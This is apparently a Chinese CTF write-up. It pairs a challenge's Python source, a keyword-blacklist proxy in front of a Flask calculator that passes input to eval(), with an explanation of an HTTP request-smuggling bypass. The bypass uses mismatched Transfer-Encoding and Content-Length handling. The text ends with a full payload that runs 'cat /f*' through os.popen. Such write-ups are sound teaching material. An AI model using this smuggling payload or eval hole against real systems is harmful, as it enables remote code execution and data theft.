result.append(chr(code - 0xFF21 + 0x41))
elif 0xFF41 <= code <= 0xFF5A:
result.append(chr(code - 0xFF41 + 0x61))
elif 0xFF10 <= code <= 0xFF19:
result.append(chr(code - 0xFF10 + 0x30))
elif code in {0xFF08, 0xFF5F}:
result.append('(')
elif code in {0xFF09, 0xFF60}:
result.append(')')
elif code == 0xFF3B:
result.append('[')
elif code == 0xFF3D:
result.append(']')
elif code == 0xFF5B:
result.append('{')
elif code == 0xFF5D:
result.append('}')
elif code == 0xFF01:
result.append('!')
elif code == 0xFF0C:
result.append(',')
elif code == 0xFF1B:
result.append(';')
elif code == 0xFF1A:
result.append(':')
elif code in {0x3002, 0xFF0E}:
result.append('.')
elif code == 0xFF1F:
result.append('?')
elif code == 0xFF0F:
result.append('/')
elif code == 0xFF02:
result.append('"')
elif code == 0xFF07:
result.append("'")
else:
result.append(char)
return ''.join(result)
def parse_headers(headers):
header_dict = {}
for line in headers:
if ':' in line:
key, value = line.split(':', 1)
header_dict[key.strip().lower()] = value.strip()
return header_dict
def check_params_for_secret(params):
for key, values in params.items():
for value in values:
value_normalized = to_halfwidth(value).lower()
for keyword in BLACKLIST_KEYWORDS:
if keyword in value_normalized:
return True
return False
def handle_client(client_socket):
TIMEOUT_SECONDS = 5
try:
client_socket.settimeout(TIMEOUT_SECONDS)
request_data = b""
header_end_idx = -1
while header_end_idx == -1:
chunk = client_socket.recv(4096)
if not chunk:
client_socket.close()
return
request_data += chunk
header_end_idx = request_data.find(b'\r\n\r\n')
try:
header_end_idx = request_data.find(b'\r\n\r\n')
if header_end_idx == -1:
raise ValueError("Malformed request")
header_bytes = request_data[:header_end_idx]
headers_raw = header_bytes.decode('utf-8', errors='ignore').split('\r\n')
request_line = headers_raw[0]
method, path, version = request_line.split(maxsplit=2)
except Exception:
client_socket.close()
return
headers = parse_headers(headers_raw[1:])
url_parts = urlparse(path)
query_params = parse_qs(url_parts.query)
has_secret = check_params_for_secret(query_params)
if method.upper() == 'POST':
content_length = int(headers.get('content-length', '0'))
transfer_encoding = headers.get('transfer-encoding', '').lower().strip()
body_start = header_end_idx + 4
body_data = request_data[body_start:] if len(request_data) > body_start else b''
if transfer_encoding:
body_buffer = b""
remaining_data = body_data
while True:
if b'\r\n' not in remaining_data:
more = client_socket.recv(4096)
if not more:
break
remaining_data += more
continue
size_line, rest = remaining_data.split(b'\r\n', 1)
try:
chunk_size = int(size_line.strip(), 16)
except ValueError:
break
if chunk_size == 0:
if rest.startswith(b'\r\n'):
break
else:
while len(rest) < 2:
more = client_socket.recv(4096)
if not more:
break
rest += more
if rest.startswith(b'\r\n'):
break
else:
break
needed = chunk_size + 2
while len(rest) < needed:
more = client_socket.recv(min(4096, needed - len(rest)))
if not more:
break
rest += more
chunk_data = rest[:chunk_size]
body_buffer += chunk_data
remaining_data = rest[chunk_size + 2:]
body_str = body_buffer.decode('utf-8', errors='ignore')
post_params = parse_qs(body_str)
has_secret = has_secret or check_params_for_secret(post_params)
elif content_length > 0:
while len(body_data) < content_length:
chunk = client_socket.recv(min(4096, content_length - len(body_data)))
if not chunk:
break
body_data += chunk
try:
body_str = body_data.decode('utf-8', errors='ignore')
post_params = parse_qs(body_str)
has_secret = has_secret or check_params_for_secret(post_params)
except Exception:
pass
if has_secret:
response = (
"HTTP/1.1 403 Forbidden\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n"
"\r\n"
"We are all just trying our best to live"
)
client_socket.send(response.encode())
client_socket.close()
return
try:
backend_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
backend_socket.settimeout(TIMEOUT_SECONDS)
backend_socket.connect(('localhost', 3001)) # 连接到Flask后端
backend_socket.sendall(request_data) # 转发原始请求
while True:
response_chunk = backend_socket.recv(4096)
if not response_chunk:
break
client_socket.sendall(response_chunk)
backend_socket.close()
except socket.timeout:
response = (
"HTTP/1.1 504 Gateway Timeout\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n"
"\r\n"
"Did not respond in time"
)
client_socket.send(response.encode())
client_socket.close()
return
except Exception:
pass
client_socket.close()
except socket.timeout:
try:
response = (
"HTTP/1.1 408 Request Timeout\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n"
"\r\n"
"timeout"
)
client_socket.send(response.encode())
except:
pass
finally:
client_socket.close()
return
except Exception:
try:
client_socket.close()
except:
pass
def start_flask_server():
app = Flask(__name__)
@app.route('/calc', methods=['POST'])
def index():
try:
exp = request.form.get('calc')
if(exp!=None):
result = eval(exp)
return str(result)
else:
return "no num to calc"
except:
return "I'm just a calc, I could not process this"
@app.route('/', methods=['GET'])
def home():
return render_template('index.html')
import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
app.run(host='127.0.0.1', port=3001, debug=False)
def main():
flask_thread = threading.Thread(target=start_flask_server, daemon=True)
flask_thread.start()
import time
time.sleep(1)
proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
proxy_socket.bind(('0.0.0.0', 8000))
proxy_socket.listen(5)
while True:
client_socket, addr = proxy_socket.accept()
client_handler = threading.Thread(target=handle_client, args=(client_socket,))
client_handler.start()
if __name__ == "__main__":
main()代码工作流程如下
客户端请求 → 代理服务器(8000) → 检查黑名单 → 转发到Flask(3001) → 返回响应
↓ (如果发现危险)
返回403 Forbidden利用漏洞点显然是eval，但是这waf显然从字符层面绕不过去，但是看到，content-length与transfer-encoding就知道打http请求走私
详细笔记+实验：HTTP请求走私 - FreeBuf网络安全行业门户
首先要求是post请求
(content-length和transfer-encoding的作用都是告诉服务器请求到哪里结束用的，这两都可以用于正常发送post请求)，审计代码知道如果TE存在，先去TE,如果TE不存在但CL存在，才进入CL的处理逻辑。
看代码发现代理服务器只要看到`Transfer-Encoding`头存在（无论值是什么），就会尝试按照分块编码(chunked)的格式来解析请求体
然而Flask服务器的行为（后端），Flask基于Werkzeug，对于`Transfer-Encoding`头的处理是不同的，如果`Transfer-Encoding`是标准值（如`chunked`），Flask会进行分块解码，如果`Transfer-Encoding`是未知值（如`xxx`），Flask会**忽略**这个头，转而使用`Content-Length`头来确定请求体长度这个代码解析TE时会把0视作数据停止的标志，所以这里直接加个0，payload是
Transfer-Encoding:xxx
Content-Length: 49
0
&calc=__import__("os").popen("cat /f*").read()这样的话main启动后，先使用Transfer-Encoding头，这样打0\r\n为止，后面的命令不会检测到（绕过waf），然后转发给后端flask，由于Transfer-Encoding未知则使用Content-Length头解析从而执行命令。
感觉要是知道这个打法应该比较简单
END
AI 摘要AI 生成
涵盖Git泄露、SSRF、命令执行、SQL注入等常见Web安全漏洞的利用与 bypass 技巧
由 AI 根据全文自动生成，仅供参考，以原文为准